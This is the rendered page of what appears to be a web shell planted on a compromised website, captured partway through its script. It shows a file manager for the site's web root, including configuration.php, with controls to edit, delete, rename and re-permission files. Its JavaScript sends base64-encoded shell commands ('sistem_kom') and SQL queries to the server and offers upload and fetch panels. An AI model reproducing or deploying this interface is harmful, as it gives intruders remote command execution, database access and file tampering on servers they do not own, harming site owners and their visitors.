    <i class="fas fa-folder-open"></i>
    <p>
        <a href='javascript:navigate("berkas", "Lw==")' style='color:#FFFFFF;'>/</a><span style='color:#ddd;'>/</span><a href='javascript:navigate("berkas", "L2hvbWU=")' style='color:#FFFFFF;'>home</a><span style='color:#ddd;'>/</span><a href='javascript:navigate("berkas", "L2hvbWUvbGFib3VyaWU=")' style='color:#FFFFFF;'>labourie</a><span style='color:#ddd;'>/</span><a href='javascript:navigate("berkas", "L2hvbWUvbGFib3VyaWUvd3d3")' style='color:#FFFFFF;'>www</a>    </p>
</div>
<hr style="border-color: #333; border-style: dotted;">

<div class="fManager-wrapper"><table class='fManager'><thead><tr class='qalin'><th>File</th><th>Size</th><th>Date</th><th>Owner/Group</th><th>Permissions</th><th>Actions</th></tr></thead><tbody><tr><td><i class="fas fa-folder" style="color:#FFD700; margin-right: 5px;"></i><a href="javascript:navigate('berkas', 'L2hvbWUvbGFib3VyaWUvd3d3Ly4=')" style="font-weight:600; color:#FFFFFF;">.</a></td>
                        <td>26 b</td>
                        <td>21 Nov 2025, 09:04</td>
                        <td>labourie/users</td>
                        <td style="color:#00FF00;">
                            <a href="javascript:;" onclick="changePermissions('Lg==', '0705')" style="color: inherit; text-decoration: none; cursor:pointer;">0705</a>
                        </td>
                        <td></td></tr><tr><td><i class="fas fa-folder" style="color:#FFD700; margin-right: 5px;"></i><a href="javascript:navigate('berkas', 'L2hvbWUvbGFib3VyaWU=')" style="font-weight:600; color:#FFFFFF;">..</a></td>
                        <td>9 b</td>
                        <td>10 Jun 2019, 08:30</td>
                        <td>labourie/users</td>
                        <td style="color:#00FF00;">
                            <a href="javascript:;" onclick="changePermissions('Li4=', '0705')" style="color: inherit; text-decoration: none; cursor:pointer;">0705</a>
                        </td>
                        <td></td></tr><tr><td><i class="fas fa-folder" style="color:#FFD700; margin-right: 5px;"></i><a href="javascript:navigate('berkas', 'L2hvbWUvbGFib3VyaWUvd3d3L2FkbWluaXN0cmF0b3I=')" style="font-weight:600; color:#FFFFFF;">administrator</a></td>
                        <td>12 b</td>
                        <td>12 Mar 2018, 23:25</td>
                        <td>labourie/users</td>
                        <td style="color:#00FF00;">
                            <a href="javascript:;" onclick="changePermissions('YWRtaW5pc3RyYXRvcg==', '0755')" style="color: inherit; text-decoration: none; cursor:pointer;">0755</a>
                        </td>
                        <td> <a href="javascript:compressFolder('L2hvbWUvbGFib3VyaWUvd3d3L2FkbWluaXN0cmF0b3I=');"><i class="fas fa-file-archive" style="color:#FFFFFF;"></i></a> |  <a href="javascript:deleteFolder('L2hvbWUvbGFib3VyaWUvd3d3L2FkbWluaXN0cmF0b3I=');"><i class="fas fa-trash-alt" style="color:#FFFFFF;"></i></a></td></tr><tr><td><i class="fas fa-folder" style="color:#FFD700; margin-right: 5px;"></i><a href="javascript:navigate('berkas', 'L2hvbWUvbGFib3VyaWUvd3d3L2Jpbg==')" style="font-weight:600; color:#FFFFFF;">bin</a></td>
                        <td>4 b</td>
                        <td>12 Mar 2018, 23:25</td>
                        <td>labourie/users</td>
                        <td style="color:#00FF00;">
                            <a href="javascript:;" onclick="changePermissions('Ymlu', '0755')" style="color: inherit; text-decoration: none; cursor:pointer;">0755</a>
                        </td>
                        <td> <a href="javascript:compressFolder('L2hvbWUvbGFib3VyaWUvd3d3L2Jpbg==');"><i class="fas fa-file-archive" style="color:#FFFFFF;"></i></a> |  <a href="javascript:deleteFolder('L2hvbWUvbGFib3VyaWUvd3d3L2Jpbg==');"><i class="fas fa-trash-alt" style="color:#FFFFFF;"></i></a></td></tr><tr><td><i class="fas fa-folder" style="color:#FFD700; margin-right: 5px;"></i><a href="javascript:navigate('berkas', 'L2hvbWUvbGFib3VyaWUvd3d3L2NhY2hl')" style="font-weight:600; color:#FFFFFF;">cache</a></td>
                        <td>3 b</td>
                        <td>12 Mar 2018, 23:25</td>
                        <td>labourie/users</td>
                        <td style="color:#00FF00;">
                            <a href="javascript:;" onclick="changePermissions('Y2FjaGU=', '0755')" style="color: inherit; text-decoration: none; cursor:pointer;">0755</a>
                        </td>
                        <td> <a href="javascript:compressFolder('L2hvbWUvbGFib3VyaWUvd3d3L2NhY2hl');"><i class="fas fa-file-archive" style="color:#FFFFFF;"></i></a> |  <a href="javascript:deleteFolder('L2hvbWUvbGFib3VyaWUvd3d3L2NhY2hl');"><i class="fas fa-trash-alt" style="color:#FFFFFF;"></i></a></td></tr><tr><td><i class="fas fa-folder" style="color:#FFD700; margin-right: 5px;"></i><a href="javascript:navigate('berkas', 'L2hvbWUvbGFib3VyaWUvd3d3L2NsaQ==')" style="font-weight:600; color:#FFFFFF;">cli</a></td>
                        <td>9 b</td>
                        <td>12 Mar 2018, 23:25</td>
                        <td>labourie/users</td>
                        <td style="color:#00FF00;">
                            <a href="javascript:;" onclick="changePermissions('Y2xp', '0755')" style="color: inherit; text-decoration: none; cursor:pointer;">0755</a>
                        </td>
                        <td> <a href="javascript:compressFolder('L2hvbWUvbGFib3VyaWUvd3d3L2NsaQ==');"><i class="fas fa-file-archive" style="color:#FFFFFF;"></i></a> |  <a href="javascript:deleteFolder('L2hvbWUvbGFib3VyaWUvd3d3L2NsaQ==');"><i class="fas fa-trash-alt" style="color:#FFFFFF;"></i></a></td></tr><tr><td><i class="fas fa-folder" style="color:#FFD700; margin-right: 5px;"></i><a href="javascript:navigate('berkas', 'L2hvbWUvbGFib3VyaWUvd3d3L2NvbXBvbmVudHM=')" style="font-weight:600; color:#FFFFFF;">components</a></td>
                        <td>23 b</td>
                        <td>24 Mar 2026, 02:44</td>
                        <td>labourie/users</td>
                        <td style="color:#00FF00;">
                            <a href="javascript:;" onclick="changePermissions('Y29tcG9uZW50cw==', '0755')" style="color: inherit; text-decoration: none; cursor:pointer;">0755</a>
                        </td>
                        <td> <a href="javascript:compressFolder('L2hvbWUvbGFib3VyaWUvd3d3L2NvbXBvbmVudHM=');"><i class="fas fa-file-archive" style="color:#FFFFFF;"></i></a> |  <a href="javascript:deleteFolder('L2hvbWUvbGFib3VyaWUvd3d3L2NvbXBvbmVudHM=');"><i class="fas fa-trash-alt" style="color:#FFFFFF;"></i></a></td></tr><tr><td><i class="fas fa-folder" style="color:#FFD700; margin-right: 5px;"></i><a href="javascript:navigate('berkas', 'L2hvbWUvbGFib3VyaWUvd3d3L2ltYWdlcw==')" style="font-weight:600; color:#FFFFFF;">images</a></td>
                        <td>12 b</td>
                        <td>09 Jun 2019, 09:50</td>
                        <td>labourie/users</td>
                        <td style="color:#00FF00;">
                            <a href="javascript:;" onclick="changePermissions('aW1hZ2Vz', '0755')" style="color: inherit; text-decoration: none; cursor:pointer;">0755</a>
                        </td>
                        <td> <a href="javascript:compressFolder('L2hvbWUvbGFib3VyaWUvd3d3L2ltYWdlcw==');"><i class="fas fa-file-archive" style="color:#FFFFFF;"></i></a> |  <a href="javascript:deleteFolder('L2hvbWUvbGFib3VyaWUvd3d3L2ltYWdlcw==');"><i class="fas fa-trash-alt" style="color:#FFFFFF;"></i></a></td></tr><tr><td><i class="fas fa-folder" style="color:#FFD700; margin-right: 5px;"></i><a href="javascript:navigate('berkas', 'L2hvbWUvbGFib3VyaWUvd3d3L2luY2x1ZGVz')" style="font-weight:600; color:#FFFFFF;">includes</a></td>
                        <td>5 b</td>
                        <td>12 Mar 2018, 23:25</td>
                        <td>labourie/users</td>
                        <td style="color:#00FF00;">
                            <a href="javascript:;" onclick="changePermissions('aW5jbHVkZXM=', '0755')" style="color: inherit; text-decoration: none; cursor:pointer;">0755</a>
                        </td>
                        <td> <a href="javascript:compressFolder('L2hvbWUvbGFib3VyaWUvd3d3L2luY2x1ZGVz');"><i class="fas fa-file-archive" style="color:#FFFFFF;"></i></a> |  <a href="javascript:deleteFolder('L2hvbWUvbGFib3VyaWUvd3d3L2luY2x1ZGVz');"><i class="fas fa-trash-alt" style="color:#FFFFFF;"></i></a></td></tr><tr><td><i class="fas fa-folder" style="color:#FFD700; margin-right: 5px;"></i><a href="javascript:navigate('berkas', 'L2hvbWUvbGFib3VyaWUvd3d3L2xhbmd1YWdl')" style="font-weight:600; color:#FFFFFF;">language</a></td>
                        <td>12 b</td>
                        <td>30 Mar 2018, 12:30</td>
                        <td>labourie/users</td>
                        <td style="color:#00FF00;">
                            <a href="javascript:;" onclick="changePermissions('bGFuZ3VhZ2U=', '0755')" style="color: inherit; text-decoration: none; cursor:pointer;">0755</a>
                        </td>
                        <td> <a href="javascript:compressFolder('L2hvbWUvbGFib3VyaWUvd3d3L2xhbmd1YWdl');"><i class="fas fa-file-archive" style="color:#FFFFFF;"></i></a> |  <a href="javascript:deleteFolder('L2hvbWUvbGFib3VyaWUvd3d3L2xhbmd1YWdl');"><i class="fas fa-trash-alt" style="color:#FFFFFF;"></i></a></td></tr><tr><td><i class="fas fa-folder" style="color:#FFD700; margin-right: 5px;"></i><a href="javascript:navigate('berkas', 'L2hvbWUvbGFib3VyaWUvd3d3L2xheW91dHM=')" style="font-weight:600; color:#FFFFFF;">layouts</a></td>
                        <td>6 b</td>
                        <td>12 Mar 2018, 23:25</td>
                        <td>labourie/users</td>
                        <td style="color:#00FF00;">
                            <a href="javascript:;" onclick="changePermissions('bGF5b3V0cw==', '0755')" style="color: inherit; text-decoration: none; cursor:pointer;">0755</a>
                        </td>
                        <td> <a href="javascript:compressFolder('L2hvbWUvbGFib3VyaWUvd3d3L2xheW91dHM=');"><i class="fas fa-file-archive" style="color:#FFFFFF;"></i></a> |  <a href="javascript:deleteFolder('L2hvbWUvbGFib3VyaWUvd3d3L2xheW91dHM=');"><i class="fas fa-trash-alt" style="color:#FFFFFF;"></i></a></td></tr><tr><td><i class="fas fa-folder" style="color:#FFD700; margin-right: 5px;"></i><a href="javascript:navigate('berkas', 'L2hvbWUvbGFib3VyaWUvd3d3L2xpYnJhcmllcw==')" style="font-weight:600; color:#FFFFFF;">libraries</a></td>
                        <td>18 b</td>
                        <td>12 Mar 2018, 23:25</td>
                        <td>labourie/users</td>
                        <td style="color:#00FF00;">
                            <a href="javascript:;" onclick="changePermissions('bGlicmFyaWVz', '0755')" style="color: inherit; text-decoration: none; cursor:pointer;">0755</a>
                        </td>
                        <td> <a href="javascript:compressFolder('L2hvbWUvbGFib3VyaWUvd3d3L2xpYnJhcmllcw==');"><i class="fas fa-file-archive" style="color:#FFFFFF;"></i></a> |  <a href="javascript:deleteFolder('L2hvbWUvbGFib3VyaWUvd3d3L2xpYnJhcmllcw==');"><i class="fas fa-trash-alt" style="color:#FFFFFF;"></i></a></td></tr><tr><td><i class="fas fa-folder" style="color:#FFD700; margin-right: 5px;"></i><a href="javascript:navigate('berkas', 'L2hvbWUvbGFib3VyaWUvd3d3L2xvZ3M=')" style="font-weight:600; color:#FFFFFF;">logs</a></td>
                        <td>4 b</td>
                        <td>09 Jun 2019, 09:46</td>
                        <td>labourie/users</td>
                        <td style="color:#00FF00;">
                            <a href="javascript:;" onclick="changePermissions('bG9ncw==', '0755')" style="color: inherit; text-decoration: none; cursor:pointer;">0755</a>
                        </td>
                        <td> <a href="javascript:compressFolder('L2hvbWUvbGFib3VyaWUvd3d3L2xvZ3M=');"><i class="fas fa-file-archive" style="color:#FFFFFF;"></i></a> |  <a href="javascript:deleteFolder('L2hvbWUvbGFib3VyaWUvd3d3L2xvZ3M=');"><i class="fas fa-trash-alt" style="color:#FFFFFF;"></i></a></td></tr><tr><td><i class="fas fa-folder" style="color:#FFD700; margin-right: 5px;"></i><a href="javascript:navigate('berkas', 'L2hvbWUvbGFib3VyaWUvd3d3L21lZGlh')" style="font-weight:600; color:#FFFFFF;">media</a></td>
                        <td>34 b</td>
                        <td>20 Feb 2025, 10:10</td>
                        <td>labourie/users</td>
                        <td style="color:#00FF00;">
                            <a href="javascript:;" onclick="changePermissions('bWVkaWE=', '0755')" style="color: inherit; text-decoration: none; cursor:pointer;">0755</a>
                        </td>
                        <td> <a href="javascript:compressFolder('L2hvbWUvbGFib3VyaWUvd3d3L21lZGlh');"><i class="fas fa-file-archive" style="color:#FFFFFF;"></i></a> |  <a href="javascript:deleteFolder('L2hvbWUvbGFib3VyaWUvd3d3L21lZGlh');"><i class="fas fa-trash-alt" style="color:#FFFFFF;"></i></a></td></tr><tr><td><i class="fas fa-folder" style="color:#FFD700; margin-right: 5px;"></i><a href="javascript:navigate('berkas', 'L2hvbWUvbGFib3VyaWUvd3d3L21vZHVsZXM=')" style="font-weight:600; color:#FFFFFF;">modules</a></td>
                        <td>29 b</td>
                        <td>09 Jun 2019, 09:44</td>
                        <td>labourie/users</td>
                        <td style="color:#00FF00;">
                            <a href="javascript:;" onclick="changePermissions('bW9kdWxlcw==', '0755')" style="color: inherit; text-decoration: none; cursor:pointer;">0755</a>
                        </td>
                        <td> <a href="javascript:compressFolder('L2hvbWUvbGFib3VyaWUvd3d3L21vZHVsZXM=');"><i class="fas fa-file-archive" style="color:#FFFFFF;"></i></a> |  <a href="javascript:deleteFolder('L2hvbWUvbGFib3VyaWUvd3d3L21vZHVsZXM=');"><i class="fas fa-trash-alt" style="color:#FFFFFF;"></i></a></td></tr><tr><td><i class="fas fa-folder" style="color:#FFD700; margin-right: 5px;"></i><a href="javascript:navigate('berkas', 'L2hvbWUvbGFib3VyaWUvd3d3L3BsdWdpbnM=')" style="font-weight:600; color:#FFFFFF;">plugins</a></td>
                        <td>20 b</td>
                        <td>09 Jun 2019, 09:37</td>
                        <td>labourie/users</td>
                        <td style="color:#00FF00;">
                            <a href="javascript:;" onclick="changePermissions('cGx1Z2lucw==', '0755')" style="color: inherit; text-decoration: none; cursor:pointer;">0755</a>
                        </td>
                        <td> <a href="javascript:compressFolder('L2hvbWUvbGFib3VyaWUvd3d3L3BsdWdpbnM=');"><i class="fas fa-file-archive" style="color:#FFFFFF;"></i></a> |  <a href="javascript:deleteFolder('L2hvbWUvbGFib3VyaWUvd3d3L3BsdWdpbnM=');"><i class="fas fa-trash-alt" style="color:#FFFFFF;"></i></a></td></tr><tr><td><i class="fas fa-folder" style="color:#FFD700; margin-right: 5px;"></i><a href="javascript:navigate('berkas', 'L2hvbWUvbGFib3VyaWUvd3d3L3RlbXBsYXRlcw==')" style="font-weight:600; color:#FFFFFF;">templates</a></td>
                        <td>6 b</td>
                        <td>12 Mar 2018, 23:25</td>
                        <td>labourie/users</td>
                        <td style="color:#00FF00;">
                            <a href="javascript:;" onclick="changePermissions('dGVtcGxhdGVz', '0755')" style="color: inherit; text-decoration: none; cursor:pointer;">0755</a>
                        </td>
                        <td> <a href="javascript:compressFolder('L2hvbWUvbGFib3VyaWUvd3d3L3RlbXBsYXRlcw==');"><i class="fas fa-file-archive" style="color:#FFFFFF;"></i></a> |  <a href="javascript:deleteFolder('L2hvbWUvbGFib3VyaWUvd3d3L3RlbXBsYXRlcw==');"><i class="fas fa-trash-alt" style="color:#FFFFFF;"></i></a></td></tr><tr><td><i class="fas fa-folder" style="color:#FFD700; margin-right: 5px;"></i><a href="javascript:navigate('berkas', 'L2hvbWUvbGFib3VyaWUvd3d3L3RtcA==')" style="font-weight:600; color:#FFFFFF;">tmp</a></td>
                        <td>3 b</td>
                        <td>24 Mar 2026, 06:43</td>
                        <td>labourie/users</td>
                        <td style="color:#00FF00;">
                            <a href="javascript:;" onclick="changePermissions('dG1w', '0755')" style="color: inherit; text-decoration: none; cursor:pointer;">0755</a>
                        </td>
                        <td> <a href="javascript:compressFolder('L2hvbWUvbGFib3VyaWUvd3d3L3RtcA==');"><i class="fas fa-file-archive" style="color:#FFFFFF;"></i></a> |  <a href="javascript:deleteFolder('L2hvbWUvbGFib3VyaWUvd3d3L3RtcA==');"><i class="fas fa-trash-alt" style="color:#FFFFFF;"></i></a></td></tr><tr><td><i class="fas fa-file" style="color:#FFFFFF; margin-right: 5px;"></i><a href="javascript:navigate('awal', 'baca_file', 'fayl', 'Lmh0YWNjZXNz', 'berkas', 'L2hvbWUvbGFib3VyaWUvd3d3')" style="color:#FFFFFF;">.htaccess</a></td>
                        <td>109 b</td>
                        <td>21 Nov 2025, 09:04</td>
                        <td>labourie/users</td>
                        <td style="color:#00FF00;">
                            <a href="javascript:;" onclick="changePermissions('Lmh0YWNjZXNz', '0644')" style="color: inherit; text-decoration: none; cursor:pointer;">0644</a>
                        </td>
                        <td> <a href="javascript:navigate('awal', 'download_file', 'fayl', 'Lmh0YWNjZXNz', 'berkas', 'L2hvbWUvbGFib3VyaWUvd3d3')"><i class="fas fa-download" style="color:#FFFFFF;"></i></a> |  <a href="javascript:navigate('awal', 'edit_file', 'fayl', 'Lmh0YWNjZXNz', 'berkas', 'L2hvbWUvbGFib3VyaWUvd3d3');"><i class="fas fa-pen" style="color:#FFFFFF;"></i></a> |  <a href="javascript:changeFileName('.htaccess', 'Lmh0YWNjZXNz');"><i class="fas fa-i-cursor" style="color:#FFFFFF;"></i></a> |  <a href="javascript:deleteFile('Lmh0YWNjZXNz');"><i class="fas fa-trash-alt" style="color:#FFFFFF;"></i></a></td></tr><tr><td><i class="fas fa-file" style="color:#FFFFFF; margin-right: 5px;"></i><a href="javascript:navigate('awal', 'baca_file', 'fayl', 'Y29uZmlndXJhdGlvbi5waHA=', 'berkas', 'L2hvbWUvbGFib3VyaWUvd3d3')" style="color:#FFFFFF;">configuration.php</a></td>
                        <td>3.25 Kb</td>
                        <td>06 Jul 2023, 17:29</td>
                        <td>labourie/users</td>
                        <td style="color:#FF0000;">
                            <a href="javascript:;" onclick="changePermissions('Y29uZmlndXJhdGlvbi5waHA=', '0444')" style="color: inherit; text-decoration: none; cursor:pointer;">0444</a>
                        </td>
                        <td> <a href="javascript:navigate('awal', 'download_file', 'fayl', 'Y29uZmlndXJhdGlvbi5waHA=', 'berkas', 'L2hvbWUvbGFib3VyaWUvd3d3')"><i class="fas fa-download" style="color:#FFFFFF;"></i></a> |  <a href="javascript:navigate('awal', 'edit_file', 'fayl', 'Y29uZmlndXJhdGlvbi5waHA=', 'berkas', 'L2hvbWUvbGFib3VyaWUvd3d3');"><i class="fas fa-pen" style="color:#FFFFFF;"></i></a> |  <a href="javascript:changeFileName('configuration.php', 'Y29uZmlndXJhdGlvbi5waHA=');"><i class="fas fa-i-cursor" style="color:#FFFFFF;"></i></a> |  <a href="javascript:deleteFile('Y29uZmlndXJhdGlvbi5waHA=');"><i class="fas fa-trash-alt" style="color:#FFFFFF;"></i></a></td></tr><tr><td><i class="fas fa-file" style="color:#FFFFFF; margin-right: 5px;"></i><a href="javascript:navigate('awal', 'baca_file', 'fayl', 'aHRhY2Nlc3MudHh0', 'berkas', 'L2hvbWUvbGFib3VyaWUvd3d3')" style="color:#FFFFFF;">htaccess.txt</a></td>
                        <td>3.32 Kb</td>
                        <td>08 Jul 2023, 16:23</td>
                        <td>labourie/users</td>
                        <td style="color:#00FF00;">
                            <a href="javascript:;" onclick="changePermissions('aHRhY2Nlc3MudHh0', '0644')" style="color: inherit; text-decoration: none; cursor:pointer;">0644</a>
                        </td>
                        <td> <a href="javascript:navigate('awal', 'download_file', 'fayl', 'aHRhY2Nlc3MudHh0', 'berkas', 'L2hvbWUvbGFib3VyaWUvd3d3')"><i class="fas fa-download" style="color:#FFFFFF;"></i></a> |  <a href="javascript:navigate('awal', 'edit_file', 'fayl', 'aHRhY2Nlc3MudHh0', 'berkas', 'L2hvbWUvbGFib3VyaWUvd3d3');"><i class="fas fa-pen" style="color:#FFFFFF;"></i></a> |  <a href="javascript:changeFileName('htaccess.txt', 'aHRhY2Nlc3MudHh0');"><i class="fas fa-i-cursor" style="color:#FFFFFF;"></i></a> |  <a href="javascript:deleteFile('aHRhY2Nlc3MudHh0');"><i class="fas fa-trash-alt" style="color:#FFFFFF;"></i></a></td></tr><tr><td><i class="fas fa-file" style="color:#FFFFFF; margin-right: 5px;"></i><a href="javascript:navigate('awal', 'baca_file', 'fayl', 'aW5kZXgucGhw', 'berkas', 'L2hvbWUvbGFib3VyaWUvd3d3')" style="color:#FFFFFF;">index.php</a></td>
                        <td>1.37 Kb</td>
                        <td>08 Jul 2023, 16:23</td>
                        <td>labourie/users</td>
                        <td style="color:#00FF00;">
                            <a href="javascript:;" onclick="changePermissions('aW5kZXgucGhw', '0644')" style="color: inherit; text-decoration: none; cursor:pointer;">0644</a>
                        </td>
                        <td> <a href="javascript:navigate('awal', 'download_file', 'fayl', 'aW5kZXgucGhw', 'berkas', 'L2hvbWUvbGFib3VyaWUvd3d3')"><i class="fas fa-download" style="color:#FFFFFF;"></i></a> |  <a href="javascript:navigate('awal', 'edit_file', 'fayl', 'aW5kZXgucGhw', 'berkas', 'L2hvbWUvbGFib3VyaWUvd3d3');"><i class="fas fa-pen" style="color:#FFFFFF;"></i></a> |  <a href="javascript:changeFileName('index.php', 'aW5kZXgucGhw');"><i class="fas fa-i-cursor" style="color:#FFFFFF;"></i></a> |  <a href="javascript:deleteFile('aW5kZXgucGhw');"><i class="fas fa-trash-alt" style="color:#FFFFFF;"></i></a></td></tr><tr><td><i class="fas fa-file" style="color:#FFFFFF; margin-right: 5px;"></i><a href="javascript:navigate('awal', 'baca_file', 'fayl', 'TElDRU5TRS50eHQ=', 'berkas', 'L2hvbWUvbGFib3VyaWUvd3d3')" style="color:#FFFFFF;">LICENSE.txt</a></td>
                        <td>17.67 Kb</td>
                        <td>08 Jul 2023, 16:23</td>
                        <td>labourie/users</td>
                        <td style="color:#00FF00;">
                            <a href="javascript:;" onclick="changePermissions('TElDRU5TRS50eHQ=', '0644')" style="color: inherit; text-decoration: none; cursor:pointer;">0644</a>
                        </td>
                        <td> <a href="javascript:navigate('awal', 'download_file', 'fayl', 'TElDRU5TRS50eHQ=', 'berkas', 'L2hvbWUvbGFib3VyaWUvd3d3')"><i class="fas fa-download" style="color:#FFFFFF;"></i></a> |  <a href="javascript:navigate('awal', 'edit_file', 'fayl', 'TElDRU5TRS50eHQ=', 'berkas', 'L2hvbWUvbGFib3VyaWUvd3d3');"><i class="fas fa-pen" style="color:#FFFFFF;"></i></a> |  <a href="javascript:changeFileName('LICENSE.txt', 'TElDRU5TRS50eHQ=');"><i class="fas fa-i-cursor" style="color:#FFFFFF;"></i></a> |  <a href="javascript:deleteFile('TElDRU5TRS50eHQ=');"><i class="fas fa-trash-alt" style="color:#FFFFFF;"></i></a></td></tr><tr><td><i class="fas fa-file" style="color:#FFFFFF; margin-right: 5px;"></i><a href="javascript:navigate('awal', 'baca_file', 'fayl', 'UkVBRE1FLnR4dA==', 'berkas', 'L2hvbWUvbGFib3VyaWUvd3d3')" style="color:#FFFFFF;">README.txt</a></td>
                        <td>4.70 Kb</td>
                        <td>08 Jul 2023, 16:23</td>
                        <td>labourie/users</td>
                        <td style="color:#00FF00;">
                            <a href="javascript:;" onclick="changePermissions('UkVBRE1FLnR4dA==', '0644')" style="color: inherit; text-decoration: none; cursor:pointer;">0644</a>
                        </td>
                        <td> <a href="javascript:navigate('awal', 'download_file', 'fayl', 'UkVBRE1FLnR4dA==', 'berkas', 'L2hvbWUvbGFib3VyaWUvd3d3')"><i class="fas fa-download" style="color:#FFFFFF;"></i></a> |  <a href="javascript:navigate('awal', 'edit_file', 'fayl', 'UkVBRE1FLnR4dA==', 'berkas', 'L2hvbWUvbGFib3VyaWUvd3d3');"><i class="fas fa-pen" style="color:#FFFFFF;"></i></a> |  <a href="javascript:changeFileName('README.txt', 'UkVBRE1FLnR4dA==');"><i class="fas fa-i-cursor" style="color:#FFFFFF;"></i></a> |  <a href="javascript:deleteFile('UkVBRE1FLnR4dA==');"><i class="fas fa-trash-alt" style="color:#FFFFFF;"></i></a></td></tr><tr><td><i class="fas fa-file" style="color:#FFFFFF; margin-right: 5px;"></i><a href="javascript:navigate('awal', 'baca_file', 'fayl', 'cm9ib3RzLnR4dC5kaXN0', 'berkas', 'L2hvbWUvbGFib3VyaWUvd3d3')" style="color:#FFFFFF;">robots.txt.dist</a></td>
                        <td>748 b</td>
                        <td>08 Jul 2023, 16:23</td>
                        <td>labourie/users</td>
                        <td style="color:#00FF00;">
                            <a href="javascript:;" onclick="changePermissions('cm9ib3RzLnR4dC5kaXN0', '0644')" style="color: inherit; text-decoration: none; cursor:pointer;">0644</a>
                        </td>
                        <td> <a href="javascript:navigate('awal', 'download_file', 'fayl', 'cm9ib3RzLnR4dC5kaXN0', 'berkas', 'L2hvbWUvbGFib3VyaWUvd3d3')"><i class="fas fa-download" style="color:#FFFFFF;"></i></a> |  <a href="javascript:navigate('awal', 'edit_file', 'fayl', 'cm9ib3RzLnR4dC5kaXN0', 'berkas', 'L2hvbWUvbGFib3VyaWUvd3d3');"><i class="fas fa-pen" style="color:#FFFFFF;"></i></a> |  <a href="javascript:changeFileName('robots.txt.dist', 'cm9ib3RzLnR4dC5kaXN0');"><i class="fas fa-i-cursor" style="color:#FFFFFF;"></i></a> |  <a href="javascript:deleteFile('cm9ib3RzLnR4dC5kaXN0');"><i class="fas fa-trash-alt" style="color:#FFFFFF;"></i></a></td></tr><tr><td><i class="fas fa-file" style="color:#FFFFFF; margin-right: 5px;"></i><a href="javascript:navigate('awal', 'baca_file', 'fayl', 'd2ViLmNvbmZpZy50eHQ=', 'berkas', 'L2hvbWUvbGFib3VyaWUvd3d3')" style="color:#FFFFFF;">web.config.txt</a></td>
                        <td>1.82 Kb</td>
                        <td>08 Jul 2023, 16:23</td>
                        <td>labourie/users</td>
                        <td style="color:#00FF00;">
                            <a href="javascript:;" onclick="changePermissions('d2ViLmNvbmZpZy50eHQ=', '0644')" style="color: inherit; text-decoration: none; cursor:pointer;">0644</a>
                        </td>
                        <td> <a href="javascript:navigate('awal', 'download_file', 'fayl', 'd2ViLmNvbmZpZy50eHQ=', 'berkas', 'L2hvbWUvbGFib3VyaWUvd3d3')"><i class="fas fa-download" style="color:#FFFFFF;"></i></a> |  <a href="javascript:navigate('awal', 'edit_file', 'fayl', 'd2ViLmNvbmZpZy50eHQ=', 'berkas', 'L2hvbWUvbGFib3VyaWUvd3d3');"><i class="fas fa-pen" style="color:#FFFFFF;"></i></a> |  <a href="javascript:changeFileName('web.config.txt', 'd2ViLmNvbmZpZy50eHQ=');"><i class="fas fa-i-cursor" style="color:#FFFFFF;"></i></a> |  <a href="javascript:deleteFile('d2ViLmNvbmZpZy50eHQ=');"><i class="fas fa-trash-alt" style="color:#FFFFFF;"></i></a></td></tr></tbody></table></div><hr style="border-color: #333; border-style: dotted;">

</div>


<script>
// ===========================================================================
// JavaScript functions for navigation and interaction, with prompts in English.
// ===========================================================================
function navigate() {
    const form = document.createElement('form');
    form.method = 'POST';
    form.action = '';
    form.style.display = 'none';
    const params = {};
    for (let i = 0; i < arguments.length; i += 2) {
        params[arguments[i]] = arguments[i + 1];
    }

    if (!params.hasOwnProperty('awal') && params.hasOwnProperty('berkas')) {
        // This is a directory navigation, do not set default 'awal'
    } else if (!params.hasOwnProperty('awal')) {
        params['awal'] = 'dasar';
        // Default action
    }

    for (const key in params) {
        if (params.hasOwnProperty(key)) {
            const input = document.createElement('input');
            input.type = 'hidden';
            input.name = key;
            input.value = params[key];
            form.appendChild(input);
        }
    }
    
    document.body.appendChild(form);
    form.submit();
}

function changeFileName(name, fayl)
{
	var getNewName = prompt('Change file name:', name);
	if(getNewName)
	{
		navigate('awal', 'rename_file', 'fayl', fayl, 'new_name', b64EncodeUnicode(getNewName), 'berkas', 'L2hvbWUvbGFib3VyaWUvd3d3');
	}
}

function deleteFile(fayl)
{
    if(confirm('Are you sure you want to delete this file?')) {
        navigate('awal', 'hapus_file', 'fayl', fayl, 'berkas', 'L2hvbWUvbGFib3VyaWUvd3d3');
    }
}

function compressFolder(zf) {
    var dir = prompt('Save compressed file to directory:', "/home/labourie/www");
    if (dir) {
        navigate('awal', 'kompres', 'zf', zf, 'save_to', b64EncodeUnicode(dir), 'berkas', 'L2hvbWUvbGFib3VyaWUvd3d3');
    }
}

function deleteFolder(zf) {
    if (confirm('Are you sure you want to delete this folder and all its contents?')) {
        navigate('awal', 'hapus_folder', 'zf', zf, 'berkas', 'L2hvbWUvbGFib3VyaWUvd3d3');
    }
}

function changePermissions(fayl, current_perms) {
    var newPerms = prompt('Enter new permissions (e.g., 0755):', current_perms);
    if (newPerms && newPerms !== current_perms) {
        // Basic validation on client side
        if (/^[0-7]{3,4}$/.test(newPerms)) {
            navigate('awal', 'ubah_perm', 'fayl', fayl, 'perm', newPerms, 'berkas', 'L2hvbWUvbGFib3VyaWUvd3d3');
        } else {
            alert('Invalid format. Please use a 3 or 4-digit octal number (e.g., 0755).');
        }
    }
}

function newFile()
{
    var formContainer = document.getElementById('newFileContainer');
    if (formContainer.style.display === 'none' || formContainer.style.display === '') {
        formContainer.style.display = 'block';
    } else {
        formContainer.style.display = 'none';
    }
}

function newPapka()
{
	var getNewName = prompt('New folder name:');
	if(getNewName)
	{
		navigate('awal', 'buat_folder', 'ad', b64EncodeUnicode(getNewName), 'berkas', 'L2hvbWUvbGFib3VyaWUvd3d3');
	}
}

function sistemKom()
{
	var komanda = document.getElementById('emr_et_atash').value;
	if(komanda)
	{
		navigate('awal', 'sistem_kom', 'kom', b64EncodeUnicode(komanda), 'berkas', 'L2hvbWUvbGFib3VyaWUvd3d3');
	}
}

function skl_bas()
{
	var sklEmr = document.getElementById('skl_emr').value;
	navigate('awal', 'skl', 'emr', b64EncodeUnicode(sklEmr), 'database', '');
}
function b64EncodeUnicode(str)
{
	return btoa(encodeURIComponent(str).replace(/%([0-9A-F]{2})/g,
		function toSolidBytes(match, p1) {
			return String.fromCharCode('0x' + p1);
}));
}

function toggleUpload() {
    var uploadContainer = document.getElementById('uploadContainer');
    if (uploadContainer.style.display === 'none' || uploadContainer.style.display === '') {
        uploadContainer.style.display = 'block';
    } else {
        uploadContainer.style.display = 'none';
    }
}

function toggleFetcher() {
